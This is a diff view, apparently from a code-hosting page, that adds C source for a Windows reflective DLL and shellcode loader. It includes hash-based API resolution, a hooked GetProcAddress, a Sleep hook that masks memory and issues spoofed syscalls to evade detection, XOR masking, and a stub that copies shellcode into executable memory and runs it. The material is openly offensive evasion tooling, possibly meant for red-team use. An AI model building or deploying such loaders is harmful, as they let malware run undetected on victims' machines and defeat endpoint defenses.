||||||
|
DWORD ror13hash(const char * c);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* printf-style debugging.
|
||||||
|
*/
|
||||||
|
void dprintf(char * format, ...);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* PICO running functions
|
||||||
|
*/
|
||||||
|
typedef void (*PICOMAIN_FUNC)(char * arg);
|
||||||
|
|
||||||
|
PICOMAIN_FUNC PicoGetExport(char * src, char * base, int tag);
|
||||||
|
PICOMAIN_FUNC PicoEntryPoint(char * src, char * base);
|
||||||
|
int PicoCodeSize(char * src);
|
||||||
|
int PicoDataSize(char * src);
|
||||||
|
void PicoLoad(IMPORTFUNCS * funcs, char * src, char * dstCode, char * dstData);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Resolve functions by walking the export address table
|
||||||
|
*/
|
||||||
|
FARPROC findFunctionByHash(HANDLE hModule, DWORD wantedFunctionHash);
|
||||||
|
HANDLE findModuleByHash(DWORD moduleHash);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* DLL parsing and loading functions
|
||||||
|
*/
|
||||||
|
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||||
|
|
||||||
|
DLLMAIN_FUNC EntryPoint(DLLDATA * dll, void * base);
|
||||||
|
IMAGE_DATA_DIRECTORY * GetDataDirectory(DLLDATA * dll, UINT entry);
|
||||||
|
void LoadDLL(DLLDATA * dll, char * src, char * dst);
|
||||||
|
void LoadSections(DLLDATA * dll, char * src, char * dst);
|
||||||
|
void ParseDLL(char * src, DLLDATA * data);
|
||||||
|
void ProcessImports(IMPORTFUNCS * funcs, DLLDATA * dll, char * dst);
|
||||||
|
void ProcessRelocations(DLLDATA * dll, char * src, char * dst);
|
||||||
|
DWORD SizeOfDLL(DLLDATA * data);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* A macro to figure out our caller
|
||||||
|
* https://github.com/rapid7/ReflectiveDLLInjection/blob/81cde88bebaa9fe782391712518903b5923470fb/dll/src/ReflectiveLoader.c#L34C1-L46C1
|
||||||
|
*/
|
||||||
|
#ifdef __MINGW32__
|
||||||
|
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
|
||||||
|
#else
|
||||||
|
#pragma intrinsic(_ReturnAddress)
|
||||||
|
#define WIN_GET_CALLER() _ReturnAddress()
|
||||||
|
#endif
|
||||||
+124
@@ -0,0 +1,124 @@
|
|||||||
|
#include "pico.h"
|
||||||
|
|
||||||
|
FARPROC WINAPI _GetProcAddress(HMODULE hModule, LPCSTR lpProcName)
|
||||||
|
{
|
||||||
|
// lpProcName may be an ordinal
|
||||||
|
if ((ULONG_PTR)lpProcName >> 16 == 0)
|
||||||
|
{
|
||||||
|
// just resolve normally
|
||||||
|
return GetProcAddress(hModule, lpProcName);
|
||||||
|
}
|
||||||
|
|
||||||
|
FARPROC result = __resolve_hook(ror13hash(lpProcName));
|
||||||
|
|
||||||
|
// result may still be NULL if it wasn't hooked in the spec
|
||||||
|
if (result != NULL)
|
||||||
|
{
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
WARN_MSG("The '%s' function is not hooked", lpProcName);
|
||||||
|
return GetProcAddress(hModule, lpProcName);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Rewrite GetProcAddress to our _GetProcAddress function
|
||||||
|
void SetupHooks(IMPORTFUNCS *funcs)
|
||||||
|
{
|
||||||
|
funcs->GetProcAddress = (__typeof__(GetProcAddress) *)_GetProcAddress;
|
||||||
|
}
|
||||||
|
|
||||||
|
void SetupMemory(MEMORY_LAYOUT *memory)
|
||||||
|
{
|
||||||
|
if (memory != NULL)
|
||||||
|
gMemory = *memory;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID WINAPI _Sleep(DWORD dwMilliseconds)
|
||||||
|
{
|
||||||
|
INFO_MSG("\t\tCalling _Sleep");
|
||||||
|
|
||||||
|
/*
|
||||||
|
* for performance reasons, only mask
|
||||||
|
* memory if sleep time is equal to
|
||||||
|
* or greater than 1 second
|
||||||
|
*/
|
||||||
|
if (dwMilliseconds >= 1000)
|
||||||
|
{
|
||||||
|
MaskMemory(&gMemory, TRUE);
|
||||||
|
}
|
||||||
|
|
||||||
|
LARGE_INTEGER delay;
|
||||||
|
delay.QuadPart = - (LONGLONG)(dwMilliseconds * 10000LL);
|
||||||
|
|
||||||
|
PVOID args[2] = {
|
||||||
|
FALSE,
|
||||||
|
&delay};
|
||||||
|
|
||||||
|
SpoofedSyscall(NTDELAYEXECUTION_HASH, args, 2);
|
||||||
|
|
||||||
|
if (dwMilliseconds >= 1000)
|
||||||
|
{
|
||||||
|
MaskMemory(&gMemory, FALSE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void *GetExportAddress(char *base, const char *targetName)
|
||||||
|
{
|
||||||
|
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
|
||||||
|
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
|
||||||
|
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||||
|
|
||||||
|
DWORD *names = (DWORD *)(base + exports->AddressOfNames);
|
||||||
|
DWORD *functions = (DWORD *)(base + exports->AddressOfFunctions);
|
||||||
|
WORD *ordinals = (WORD *)(base + exports->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < exports->NumberOfNames; i++)
|
||||||
|
{
|
||||||
|
char *currentName = (char *)(base + names[i]);
|
||||||
|
|
||||||
|
// Manual String Compare
|
||||||
|
const char *s1 = currentName;
|
||||||
|
const char *s2 = targetName;
|
||||||
|
int match = 1;
|
||||||
|
|
||||||
|
while (*s1 && *s2)
|
||||||
|
{
|
||||||
|
if (*s1 != *s2)
|
||||||
|
{
|
||||||
|
match = 0;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
s1++;
|
||||||
|
s2++;
|
||||||
|
}
|
||||||
|
if (match && *s1 == *s2)
|
||||||
|
{
|
||||||
|
// Ensure both ended at null terminator
|
||||||
|
return (void *)(base + functions[ordinals[i]]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Free loader and call DLL
|
||||||
|
void FreeLoader(char *loader, DLLMAIN_FUNC dllEntry, char *dllBase)
|
||||||
|
{
|
||||||
|
INFO_MSG("=== STARTED PICO ===");
|
||||||
|
|
||||||
|
INFO_MSG("Cleaning Loader memory");
|
||||||
|
KERNEL32$VirtualFree(loader, 0, MEM_RELEASE);
|
||||||
|
|
||||||
|
INFO_MSG("Calling DLL Entry Point");
|
||||||
|
dllEntry((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, NULL);
|
||||||
|
|
||||||
|
_DLLTargetFunction pTargetFunction = (_DLLTargetFunction)GetExportAddress(dllBase, TARGET_FUNCTION);
|
||||||
|
|
||||||
|
if (pTargetFunction != NULL)
|
||||||
|
{
|
||||||
|
SUCCESS_MSG("%s Executed", TARGET_FUNCTION);
|
||||||
|
pTargetFunction();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
ERROR_MSG("%s Not Found", TARGET_FUNCTION);
|
||||||
|
KERNEL32$ExitThread(0);
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include "include/memory.h"
|
||||||
|
#include "evasion/hooks.h"
|
||||||
|
#include "evasion/mask.h"
|
||||||
|
#include "utils/debug.h"
|
||||||
|
|
||||||
|
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc(LPVOID, SIZE_T, DWORD, DWORD);
|
||||||
|
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||||
|
WINBASEAPI DECLSPEC_NORETURN VOID WINAPI KERNEL32$ExitThread(DWORD dwExitCode);
|
||||||
|
WINBASEAPI WINBOOL WINAPI KERNEL32$VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
|
||||||
|
|
||||||
|
typedef BOOL WINAPI (*DLLMAIN_FUNC)(HINSTANCE, DWORD, LPVOID);
|
||||||
|
typedef void(WINAPI *_DLLTargetFunction)();
|
||||||
|
|
||||||
|
char TARGET_FUNCTION[128] = {};
|
||||||
|
|
||||||
|
// Global allocated memory
|
||||||
|
MEMORY_LAYOUT gMemory;
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include "include/tcg.h"
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
#define SUCCESS_MSG(message, ...) dprintf("[+] " message, ##__VA_ARGS__)
|
||||||
|
#define INFO_MSG(message, ...) dprintf("[*] " message, ##__VA_ARGS__)
|
||||||
|
#define WARN_MSG(message, ...) dprintf("[!] " message, ##__VA_ARGS__)
|
||||||
|
#define ERROR_MSG(message, ...) dprintf("[-] " message, ##__VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define SUCCESS_MSG(message, ...) ((void)0)
|
||||||
|
#define INFO_MSG(message, ...) ((void)0)
|
||||||
|
#define WARN_MSG(message, ...) ((void)0)
|
||||||
|
#define ERROR_MSG(message, ...) ((void)0)
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
#include "utils.h"
|
||||||
|
|
||||||
|
void XORData(char *data, DWORD len, char *key, DWORD keyLen)
|
||||||
|
{
|
||||||
|
for (DWORD i = 0; i < len; i++)
|
||||||
|
{
|
||||||
|
data[i] ^= key[i % keyLen];
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
|
||||||
|
|
||||||
|
void XORData(char *data, DWORD len, char *key, DWORD keyLen);
|
||||||
+15
@@ -0,0 +1,15 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
#include "pic.h"
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
PVOID pShellcode = VirtualAlloc(NULL, crystal_loader_len,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
memcpy(pShellcode, crystal_loader, crystal_loader_len);
|
||||||
|
|
||||||
|
((void(*)())pShellcode)();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user